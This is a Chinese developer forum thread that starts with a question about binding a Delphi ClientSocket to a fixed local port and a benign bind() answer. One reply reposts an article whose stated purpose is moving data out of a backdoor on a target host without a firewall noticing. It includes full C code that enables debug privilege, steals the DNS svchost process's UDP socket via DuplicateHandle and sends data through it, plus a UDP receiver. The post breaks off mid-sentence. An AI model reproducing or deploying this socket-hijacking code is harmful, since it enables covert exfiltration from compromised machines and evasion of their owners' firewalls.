对于ClientSocket客户端,如何显式绑定到指定的端口,由于存在防火墙的问题,用TCliengSocket或API实现ClientSocket都可以,谢谢

  • 主题发起人 主题发起人 socool_100
  • 开始时间 开始时间
S

socool_100

Unregistered / Unconfirmed
GUEST, unregistred user!
对于ClientSocket客户端,如何显式绑定到指定的端口,由于存在防火墙的问题,用TCliengSocket或API实现ClientSocket都可以,谢谢!张无忌在不在,查了历史帖子,你应该知道,告诉我吧。!(50分)<br />如何显式绑定ClientSocket的端口,不是由操作系统自动分配。
 
让防火墙给你开放一个端口就可以了
 
是防火墙只开某些端口,呵呵ClientSocket如果不绑定一个端口,让系统自动分配的话就有可能不在那范围内,就不能进行通讯啊
 
ClientSocket的port和host好象要自己手工绑定的.
 
我指的不是要连接的服务器的port和host,我指的是系统分配给连接的本地端口!
 
也想知道这个问题。
 
你的意思就是让你的连接如何穿透防火墙!是吗?
 
转载张无忌的方法:<br><br>在ClientSocket的OnLookUp事件里 <br>procedure TForm1.ClientSocket1Lookup(Sender: TObject; <br> Socket: TCustomWinSocket); <br>var <br> SockAddrIn: TSockAddrIn; <br> iRc:Integer; <br>begin <br> SockAddrIn.sin_family := AF_INET; <br> SockAddrIn.sin_addr.S_addr := 0; <br> SockAddrIn.sin_port := htons(1979); <br> iRc:=bind(ClientSocket1.Socket.SocketHandle, SockAddrIn, sizeof(TSockAddrIn)); <br> if &nbsp;iRc= 0 then <br> &nbsp; ShowMessage('绑定成功!') <br> else <br> &nbsp; ShowMessage(Format('%d',[WSAGetLastError()]));
 
楼上的朋友,楼主的问题不会这么简单到只进行一个端口的绑定的吧。它说了有防火墙的呀!
 
这是用clientsocket绑定本地端口建立socket与外面服务器连接的方法,否则,绑定的本地端口是系统分配的。 只要防火墙开了比如1979端口,上面代码就可以抱证自己能出去。
 
说的对,如果防火墙开你指定的这个端口的话那一定没有问题。但是如果不开呢??如果防火墙不开这个端口,并且你还要传输数据怎么办呢??
 
拜托,自己的防火墙把自身的端口都给封了,那肯定不能传数据了。总要给一个端口让用吧。
 
给你一篇绿盟的文章,可能对你穿透防火墙进行数据传输有用!
 
一种新的穿透防火墙的数据传输技术<br><br>Author : ZwelL<br>Email &nbsp;: zwell@sohu.com<br>Date &nbsp; : 2005.4.12<br><br>使用该技术背景:<br>在目标主机安放后门,需要将数据传输出去,同时数据很重要,动作不能太大.其他情况&quot;严重&quot;不推荐使用该技术(后面我会讲到为什么).<br><br> &nbsp; &nbsp;针对目前防火墙的一些情况,如果自己的进程开一个端口(甚至是新建套接字)肯定被拦.<br>相反,有一点我们也很清楚:被防火墙验证的进程在传送数据时永远不会被拦.所以,我的思路很简单:<br>将其他进程中允许数据传输的套接字句柄拿为已用.过程如下:<br><br>1. 找出目标进程<br>2. 找出SOCKET句柄<br>2. 用DuplicateHandle()函数将其SOCKET转换为能被自己使用.<br>3. 用转换后的SOCKET进行数据传输<br><br> &nbsp; &nbsp;上面的过程写的很简单,但是实际实现起来还是存在一些问题(后面再做讨论).而且从上面的实现方法也<br>可以看出一些不爽的地方:在目标进程的SOCKET不能是TCP,因为TCP的句柄已经跟外面建立了连接,所以只能是UDP.<br>针对不同系统不同进程我们很难定位一个稳定的进程SOCKET.<br><br> &nbsp; &nbsp;看到上面这些,你有点丧气了对不对,哈哈. 再想一想,其实我们有一条真正的通罗马的&quot;黄金大道&quot;.<br><br> &nbsp; &nbsp;我们知道只要一台计算机连上了网络,那么有一种数据传输是肯定不会被拦截的,那就是DNS.你能想像域名解析数据都被<br>拦了造成的结果吗? 嘿嘿, 既然这个是永远不会被拦的, 而且它又是UDP传输, 我们就拿他开刀...<br><br>下面是通过直接控制DNS进程(其实也就是svchost.exe,不过对应用户名是NETWORK SERVICE)进行数据传输的例子.<br>编程中出现了很多问题,比方说获取svchost对应用户名时没有权限(但是能够操作LOCAL SERVICE),在句柄值为0x2c时进行getsockname时会停止运行等等.<br>具体解决方法请细看注释部分...<br><br>/*++<br><br> &nbsp;Made By ZwelL<br> &nbsp;zwell@sohu.com<br> &nbsp;2005.4.12<br>--*/<br><br>#include &lt;winsock2.h&gt;<br>#include &lt;stdio.h&gt;<br>#include &lt;wtsapi32.h&gt;<br><br>#pragma comment(lib, &quot;ws2_32&quot;)<br>#pragma comment(lib, &quot;wtsapi32&quot;)<br><br>#define NT_SUCCESS(status) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;((NTSTATUS)(status)&gt;=0)<br>#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)<br><br>typedef LONG &nbsp; &nbsp;NTSTATUS;<br><br>typedef struct _SYSTEM_HANDLE_INFORMATION<br>{<br> &nbsp; &nbsp;ULONG &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;ProcessId;<br> &nbsp; &nbsp;UCHAR &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;ObjectTypeNumber;<br> &nbsp; &nbsp;UCHAR &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Flags;<br> &nbsp; &nbsp;USHORT &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Handle;<br> &nbsp; &nbsp;PVOID &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Object;<br> &nbsp; &nbsp;ACCESS_MASK &nbsp; &nbsp; &nbsp; &nbsp;GrantedAccess;<br>} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;<br><br>typedef ULONG (WINAPI *ZWQUERYSYSTEMINFORMATION)(ULONG, PVOID, ULONG, PULONG);<br><br>ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation = NULL;<br><br>BOOL LocateNtdllEntry ( void )<br>{<br> &nbsp; &nbsp;BOOL &nbsp; &nbsp;ret &nbsp; &nbsp; &nbsp; &nbsp; = FALSE;<br> &nbsp; &nbsp;char &nbsp; &nbsp;NTDLL_DLL[] = &quot;ntdll.dll&quot;;<br> &nbsp; &nbsp;HMODULE ntdll_dll &nbsp; = NULL;<br><br><br> &nbsp; &nbsp;if ( ( ntdll_dll = GetModuleHandle( NTDLL_DLL ) ) == NULL )<br> &nbsp; &nbsp;{<br> &nbsp; &nbsp; &nbsp; &nbsp;printf( &quot;GetModuleHandle() failed&quot;);<br> &nbsp; &nbsp; &nbsp; &nbsp;return( FALSE );<br> &nbsp; &nbsp;}<br> &nbsp; &nbsp;if ( !( ZwQuerySystemInformation = ( ZWQUERYSYSTEMINFORMATION )GetProcAddress( ntdll_dll, &quot;ZwQuerySystemInformation&quot; ) ) )<br> &nbsp; &nbsp;{<br> &nbsp; &nbsp; &nbsp; &nbsp;goto LocateNtdllEntry_exit;<br> &nbsp; &nbsp;}<br> &nbsp; &nbsp;ret = TRUE;<br><br>LocateNtdllEntry_exit:<br><br> &nbsp; &nbsp;if ( FALSE == ret )<br> &nbsp; &nbsp;{<br> &nbsp; &nbsp; &nbsp; &nbsp;printf( &quot;GetProcAddress() failed&quot;);<br> &nbsp; &nbsp;}<br> &nbsp; &nbsp;ntdll_dll = NULL;<br> &nbsp; &nbsp;return( ret );<br>}<br><br><br>/*++<br>This routine is used to get a process's username from it's SID<br>--*/<br>BOOL GetUserNameFromSid(PSID pUserSid, char *szUserName)<br>{<br> &nbsp; &nbsp;// sanity checks and default value<br> &nbsp; &nbsp;if (pUserSid == NULL)<br> &nbsp; &nbsp; &nbsp; &nbsp;return false;<br> &nbsp; &nbsp;strcpy(szUserName, &quot;?&quot;);<br><br> &nbsp; &nbsp;SID_NAME_USE &nbsp; snu;<br> &nbsp; &nbsp;TCHAR &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;szUser[_MAX_PATH];<br> &nbsp; &nbsp;DWORD &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;chUser = _MAX_PATH;<br> &nbsp; &nbsp;PDWORD &nbsp; &nbsp; &nbsp; &nbsp; pcchUser = &chUser; <br> &nbsp; &nbsp;TCHAR &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;szDomain[_MAX_PATH];<br> &nbsp; &nbsp;DWORD &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;chDomain = _MAX_PATH;<br> &nbsp; &nbsp;PDWORD &nbsp; &nbsp; &nbsp; &nbsp; pcchDomain = &chDomain;<br><br> &nbsp; &nbsp;// Retrieve user name and domain name based on user's SID.<br> &nbsp; &nbsp;if (<br> &nbsp; &nbsp; &nbsp; &nbsp;::LookupAccountSid(<br> &nbsp; &nbsp; &nbsp; &nbsp;NULL, <br> &nbsp; &nbsp; &nbsp; &nbsp;pUserSid, <br> &nbsp; &nbsp; &nbsp; &nbsp;szUser, <br> &nbsp; &nbsp; &nbsp; &nbsp;pcchUser, <br> &nbsp; &nbsp; &nbsp; &nbsp;szDomain, <br> &nbsp; &nbsp; &nbsp; &nbsp;pcchDomain, <br> &nbsp; &nbsp; &nbsp; &nbsp;&snu<br> &nbsp; &nbsp; &nbsp; &nbsp;)<br> &nbsp; &nbsp; &nbsp; &nbsp;)<br> &nbsp; &nbsp;{<br> &nbsp; &nbsp; &nbsp; &nbsp;wsprintf(szUserName, &quot;%s&quot;, szUser);<br> &nbsp; &nbsp;}<br> &nbsp; &nbsp;else<br> &nbsp; &nbsp;{<br> &nbsp; &nbsp; &nbsp; &nbsp;return false;<br> &nbsp; &nbsp;}<br><br> &nbsp; &nbsp;return true;<br>} &nbsp;<br><br><br>/*++<br><br>This routine is used to get the DNS process's Id<br> &nbsp;<br>Here, I use WTSEnumerateProcesses to get process user Sid, <br>and then get the process user name. Beacause as it's a &quot;NETWORK SERVICE&quot;, <br>we cann't use OpenProcessToken to catch the DNS process's token information,<br>even if we has the privilege in catching the SYSTEM's.<br><br>--*/<br>DWORD GetDNSProcessId()<br>{<br> &nbsp; &nbsp;PWTS_PROCESS_INFO pProcessInfo = NULL;<br> &nbsp; &nbsp;DWORD &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ProcessCount = 0;<br> &nbsp; &nbsp;char &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;szUserName[255];<br> &nbsp; &nbsp;DWORD &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Id = -1;<br><br> &nbsp; &nbsp;if (WTSEnumerateProcesses(WTS_CURRENT_SERVER_HANDLE, 0, 1, &pProcessInfo, &ProcessCount))<br> &nbsp; &nbsp;{<br> &nbsp; &nbsp; &nbsp; &nbsp;// dump each process description<br> &nbsp; &nbsp; &nbsp; &nbsp;for (DWORD CurrentProcess = 0; CurrentProcess &lt; ProcessCount; CurrentProcess++)<br> &nbsp; &nbsp; &nbsp; &nbsp;{<br><br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if( strcmp(pProcessInfo[CurrentProcess].pProcessName, &quot;svchost.exe&quot;) == 0 )<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;{<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;GetUserNameFromSid(pProcessInfo[CurrentProcess].pUserSid, szUserName);<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if( strcmp(szUserName, &quot;NETWORK SERVICE&quot;) == 0)<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;{<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Id = pProcessInfo[CurrentProcess].ProcessId;<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;break;<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}<br> &nbsp; &nbsp; &nbsp; &nbsp;}<br><br> &nbsp; &nbsp; &nbsp; &nbsp;WTSFreeMemory(pProcessInfo);<br> &nbsp; &nbsp;}<br><br> &nbsp; &nbsp;return Id;<br>}<br><br><br>/*++<br>This doesn't work as we know, sign...<br>but you can use the routine for other useing...<br>--*/<br>/*<br>BOOL GetProcessUserFromId(char *szAccountName, DWORD PID)<br>{<br> &nbsp; &nbsp;HANDLE hProcess = NULL, <br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;hAccessToken = NULL;<br> &nbsp; &nbsp;TCHAR InfoBuffer[1000], szDomainName[200];<br> &nbsp; &nbsp;PTOKEN_USER pTokenUser = (PTOKEN_USER)InfoBuffer;<br> &nbsp; &nbsp;DWORD dwInfoBufferSize,dwAccountSize = 200, dwDomainSize = 200;<br> &nbsp; &nbsp;SID_NAME_USE snu;<br><br> &nbsp; &nbsp;hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, PID);<br> &nbsp; &nbsp;if(hProcess == NULL)<br> &nbsp; &nbsp;{<br> &nbsp; &nbsp; &nbsp; &nbsp;printf(&quot;OpenProcess wrong&quot;);<br> &nbsp; &nbsp; &nbsp; &nbsp;CloseHandle(hProcess);<br> &nbsp; &nbsp; &nbsp; &nbsp;return false;<br> &nbsp; &nbsp;}<br><br> &nbsp; &nbsp;if(0 == OpenProcessToken(hProcess,TOKEN_QUERY,&hAccessToken))<br> &nbsp; &nbsp;{<br> &nbsp; &nbsp; &nbsp; &nbsp;printf(&quot;OpenProcessToken wrong:%08x&quot;, GetLastError());<br> &nbsp; &nbsp; &nbsp; &nbsp;return false;<br> &nbsp; &nbsp;}<br><br> &nbsp; &nbsp;GetTokenInformation(hAccessToken,TokenUser,InfoBuffer,<br> &nbsp; &nbsp; &nbsp; &nbsp;1000, &dwInfoBufferSize);<br><br> &nbsp; &nbsp;LookupAccountSid(NULL, pTokenUser-&gt;User.Sid, szAccountName,<br> &nbsp; &nbsp; &nbsp; &nbsp;&dwAccountSize,szDomainName, &dwDomainSize, &snu);<br><br> &nbsp; &nbsp;if(hProcess)<br> &nbsp; &nbsp; &nbsp; &nbsp;CloseHandle(hProcess);<br> &nbsp; &nbsp;if(hAccessToken)<br> &nbsp; &nbsp; &nbsp; &nbsp;CloseHandle(hAccessToken);<br> &nbsp; &nbsp;return true;<br>}*/<br><br><br>/*++<br>Now, it is the most important stuff... ^_^<br>--*/<br>SOCKET GetSocketFromId (DWORD PID)<br>{<br> &nbsp; &nbsp;NTSTATUS &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; status;<br> &nbsp; &nbsp;PVOID &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;buf &nbsp; = NULL;<br> &nbsp; &nbsp;ULONG &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;size &nbsp;= 1;<br> &nbsp; &nbsp;ULONG &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;NumOfHandle = 0;<br> &nbsp; &nbsp;ULONG &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;i;<br> &nbsp; &nbsp;PSYSTEM_HANDLE_INFORMATION &nbsp; &nbsp;h_info &nbsp;= NULL;<br> &nbsp; &nbsp;HANDLE &nbsp; &nbsp;sock = NULL;<br> &nbsp; &nbsp;DWORD &nbsp; &nbsp;n;<br><br> &nbsp; &nbsp;buf=malloc(0x1000);<br> &nbsp; &nbsp;if(buf == NULL)<br> &nbsp; &nbsp;{<br> &nbsp; &nbsp; &nbsp; &nbsp;printf(&quot;malloc wrong/n&quot;);<br> &nbsp; &nbsp; &nbsp; &nbsp;return NULL;<br> &nbsp; &nbsp;}<br> &nbsp; &nbsp;status = ZwQuerySystemInformation( 0x10, buf, 0x1000, &n );<br> &nbsp; &nbsp;if(STATUS_INFO_LENGTH_MISMATCH == status)<br> &nbsp; &nbsp;{<br> &nbsp; &nbsp; &nbsp; &nbsp;free(buf);<br> &nbsp; &nbsp; &nbsp; &nbsp;buf=malloc(n);<br> &nbsp; &nbsp; &nbsp; &nbsp;if(buf == NULL)<br> &nbsp; &nbsp; &nbsp; &nbsp;{<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;printf(&quot;malloc wrong/n&quot;);<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;return NULL;<br> &nbsp; &nbsp; &nbsp; &nbsp;}<br> &nbsp; &nbsp; &nbsp; &nbsp;status = ZwQuerySystemInformation( 0x10, buf, n, NULL);<br> &nbsp; &nbsp;}<br> &nbsp; &nbsp;else<br> &nbsp; &nbsp;{<br> &nbsp; &nbsp; &nbsp; &nbsp;printf(&quot;ZwQuerySystemInformation wrong/n&quot;);<br> &nbsp; &nbsp; &nbsp; &nbsp;return NULL;<br> &nbsp; &nbsp;}<br><br> &nbsp; &nbsp;NumOfHandle = *(ULONG*)buf;<br><br> &nbsp; &nbsp;h_info = ( PSYSTEM_HANDLE_INFORMATION )((ULONG)buf+4);<br><br> &nbsp; &nbsp;for(i = 0; i&lt;NumOfHandle ;i++)<br> &nbsp; &nbsp;{<br> &nbsp; &nbsp; &nbsp; &nbsp;try<br> &nbsp; &nbsp; &nbsp; &nbsp;{<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if( ( h_info.ProcessId == PID ) &nbsp;&& ( h_info.ObjectTypeNumber == 0x1c ) <br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&& (h_info.Handle!=0x2c) &nbsp; &nbsp;// I don't know why if the Handle equal to 0x2c, in my test, it stops at getsockname()<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;// So I jump over this situation... <br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;// May be it's different in your system, <br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;) //wind2000 is 0x1a<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;{<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;//printf(&quot;Handle:0x%x Type:%08x/n&quot;,h_info.Handle, h_info.ObjectTypeNumber);<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if( 0 == DuplicateHandle(<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;OpenProcess(PROCESS_ALL_ACCESS, TRUE, PID), <br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;(HANDLE)h_info.Handle, <br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;GetCurrentProcess(), <br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&sock, <br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;STANDARD_RIGHTS_REQUIRED, <br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;true, <br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;DUPLICATE_SAME_ACCESS)<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;)<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;{<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;printf(&quot;DuplicateHandle wrong:%8x&quot;, GetLastError());<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;continue;<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}<br><br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;//printf(&quot;DuplicateHandle ok/n&quot;);<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;sockaddr_in name = {0};<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;name.sin_family = AF_INET;<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;int namelen = sizeof(sockaddr_in);<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;getsockname( (SOCKET)sock, (sockaddr*)&name, &namelen );<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;//printf(&quot;PORT=%5d/n&quot;, &nbsp; &nbsp;ntohs( name.sin_port )); <br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if(ntohs(name.sin_port)&gt;0) &nbsp; &nbsp;// if port &gt; 0, then we can use it<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;break;<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}<br> &nbsp; &nbsp; &nbsp; &nbsp;}<br> &nbsp; &nbsp; &nbsp; &nbsp;catch(...)<br> &nbsp; &nbsp; &nbsp; &nbsp;{<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;continue;<br> &nbsp; &nbsp; &nbsp; &nbsp;}<br> &nbsp; &nbsp;}<br><br> &nbsp; &nbsp;if ( buf != NULL )<br> &nbsp; &nbsp;{<br> &nbsp; &nbsp; &nbsp; &nbsp;free( buf );<br> &nbsp; &nbsp;}<br> &nbsp; &nbsp;return (SOCKET)sock;<br>}<br><br><br>/*++<br>This is not required...<br>--*/<br>BOOL EnablePrivilege (PCSTR name)<br>{<br> &nbsp; &nbsp;HANDLE hToken;<br> &nbsp; &nbsp;BOOL rv;<br><br> &nbsp; &nbsp;TOKEN_PRIVILEGES priv = { 1, {0, 0, SE_PRIVILEGE_ENABLED} };<br> &nbsp; &nbsp;LookupPrivilegeValue (<br> &nbsp; &nbsp; &nbsp; &nbsp;0,<br> &nbsp; &nbsp; &nbsp; &nbsp;name,<br> &nbsp; &nbsp; &nbsp; &nbsp;&priv.Privileges[0].Luid<br> &nbsp; &nbsp; &nbsp; &nbsp;);<br><br> &nbsp; &nbsp;priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;<br><br> &nbsp; &nbsp;OpenProcessToken(<br> &nbsp; &nbsp; &nbsp; &nbsp;GetCurrentProcess (),<br> &nbsp; &nbsp; &nbsp; &nbsp;TOKEN_ADJUST_PRIVILEGES,<br> &nbsp; &nbsp; &nbsp; &nbsp;&hToken<br> &nbsp; &nbsp; &nbsp; &nbsp;);<br><br> &nbsp; &nbsp;AdjustTokenPrivileges (<br> &nbsp; &nbsp; &nbsp; &nbsp;hToken,<br> &nbsp; &nbsp; &nbsp; &nbsp;FALSE,<br> &nbsp; &nbsp; &nbsp; &nbsp;&priv,<br> &nbsp; &nbsp; &nbsp; &nbsp;sizeof priv,<br> &nbsp; &nbsp; &nbsp; &nbsp;0,<br> &nbsp; &nbsp; &nbsp; &nbsp;0<br> &nbsp; &nbsp; &nbsp; &nbsp;);<br><br> &nbsp; &nbsp;rv = GetLastError () == ERROR_SUCCESS;<br><br> &nbsp; &nbsp;CloseHandle (hToken);<br> &nbsp; &nbsp;return rv;<br>}<br><br>void main() <br>{<br> &nbsp; &nbsp;WSADATA wsaData;<br> &nbsp; &nbsp;char &nbsp; &nbsp;testbuf[255];<br> &nbsp; &nbsp;SOCKET &nbsp; &nbsp;sock;<br> &nbsp; &nbsp;sockaddr_in RecvAddr;<br><br> &nbsp; &nbsp;int iResult = WSAStartup(MAKEWORD(2,2), &wsaData);<br> &nbsp; &nbsp;if (iResult != NO_ERROR)<br> &nbsp; &nbsp; &nbsp; &nbsp;printf(&quot;Error at WSAStartup()/n&quot;);<br><br> &nbsp; &nbsp;if(!LocateNtdllEntry())<br> &nbsp; &nbsp; &nbsp; &nbsp;return;<br><br> &nbsp; &nbsp;if(!EnablePrivilege (SE_DEBUG_NAME))<br> &nbsp; &nbsp;{<br> &nbsp; &nbsp; &nbsp; &nbsp;printf(&quot;EnablePrivilege wrong/n&quot;);<br> &nbsp; &nbsp; &nbsp; &nbsp;return;<br> &nbsp; &nbsp;}<br><br> &nbsp; &nbsp;sock = GetSocketFromId(GetDNSProcessId());<br> &nbsp; &nbsp;if( sock==NULL)<br> &nbsp; &nbsp;{<br> &nbsp; &nbsp; &nbsp; &nbsp;printf(&quot;GetSocketFromId wrong/n&quot;);<br> &nbsp; &nbsp; &nbsp; &nbsp;return;<br> &nbsp; &nbsp;}<br><br> &nbsp; &nbsp;//Change there value...<br> &nbsp; &nbsp;RecvAddr.sin_family = AF_INET;<br> &nbsp; &nbsp;RecvAddr.sin_port = htons(5555); <br> &nbsp; &nbsp;RecvAddr.sin_addr.s_addr = inet_addr(&quot;127.0.0.1&quot;);<br><br> &nbsp; &nbsp;if(SOCKET_ERROR == sendto(sock, <br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&quot;test&quot;, <br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;5, <br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;0, <br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;(SOCKADDR *) &RecvAddr, <br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;sizeof(RecvAddr)))<br> &nbsp; &nbsp;{<br> &nbsp; &nbsp; &nbsp; &nbsp;printf(&quot;sendto wrong:%d/n&quot;, WSAGetLastError());<br> &nbsp; &nbsp;}<br> &nbsp; &nbsp;else<br> &nbsp; &nbsp;{<br> &nbsp; &nbsp; &nbsp; &nbsp;printf(&quot;send ok... Have fun, right? ^_^/n&quot;);<br> &nbsp; &nbsp;}<br> &nbsp; &nbsp;<br> &nbsp; &nbsp;getchar();<br><br> &nbsp; &nbsp;//WSACleanup();<br> &nbsp; &nbsp;return;<br>}<br><br><br><br>很早以前我就有这个想法了,只是一直没有去实现.在上面的代码中,<br>因为要找出DNS进程句柄,而svchost.exe又有多个,所以以用户名来进行判断,本来是用OpenProcessToken,<br>但是怎么也不行,所以换个方法.用到了wtsapi32库函数.<br><br>再用下面的代码测试:<br><br><br>/*++<br>UdpReceiver<br>--*/<br>#include &lt;stdio.h&gt;<br>#include &quot;winsock2.h&quot;<br><br>#pragma comment(lib, &quot;ws2_32&quot;)<br><br>void main() <br>{<br> &nbsp;WSADATA wsaData;<br> &nbsp;SOCKET RecvSocket;<br> &nbsp;sockaddr_in RecvAddr;<br> &nbsp;int Port = 5555;<br> &nbsp;char RecvBuf[1024];<br> &nbsp;int &nbsp;BufLen = 1024;<br> &nbsp;sockaddr_in SenderAddr;<br> &nbsp;int SenderAddrSize = sizeof(SenderAddr);<br><br> &nbsp;//-----------------------------------------------<br> &nbsp;// Initialize Winsock<br> &nbsp;WSAStartup(MAKEWORD(2,2), &wsaData);<br><br> &nbsp;//-----------------------------------------------<br> &nbsp;// Create a receiver socket to receive datagrams<br> &nbsp;RecvSocket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);<br><br> &nbsp;//-----------------------------------------------<br> &nbsp;// Bind the socket to any address and the specified port.<br> &nbsp;RecvAddr.sin_family = AF_INET;<br> &nbsp;RecvAddr.sin_port = htons(Port);<br> &nbsp;RecvAddr.sin_addr.s_addr = htonl(INADDR_ANY);<br><br> &nbsp;bind(RecvSocket, (SOCKADDR *) &RecvAddr, sizeof(RecvAddr));<br><br> &nbsp;//-----------------------------------------------<br> &nbsp;// Call the recvfrom function to receive datagrams<br> &nbsp;// on the bound socket.<br> &nbsp;printf(&quot;Receiving datagrams.../n&quot;);<br> &nbsp;while(1)<br> &nbsp;{<br> &nbsp; &nbsp;recvfrom(RecvSocket, <br> &nbsp; &nbsp; &nbsp; &nbsp;RecvBuf, <br> &nbsp; &nbsp; &nbsp; &nbsp;BufLen, <br> &nbsp; &nbsp; &nbsp; &nbsp;0, <br> &nbsp; &nbsp; &nbsp; &nbsp;(SOCKADDR *)&SenderAddr, <br> &nbsp; &nbsp; &nbsp; &nbsp;&SenderAddrSize);<br> &nbsp; &nbsp;printf(&quot;%s/n&quot;, RecvBuf);<br> &nbsp;}<br><br> &nbsp;//-----------------------------------------------<br> &nbsp;// Close the socket when finished receiving datagrams<br> &nbsp;printf(&quot;Finished receiving. Closing socket./n&quot;);<br> &nbsp;closesocket(RecvSocket);<br><br> &nbsp;//-----------------------------------------------<br> &nbsp;// Clean up and exit.<br> &nbsp;printf(&quot;Exiting./n&quot;);<br> &nbsp;WSACleanup();<br> &nbsp;return;<br>}<br><br><br>测试步骤:<br>1. 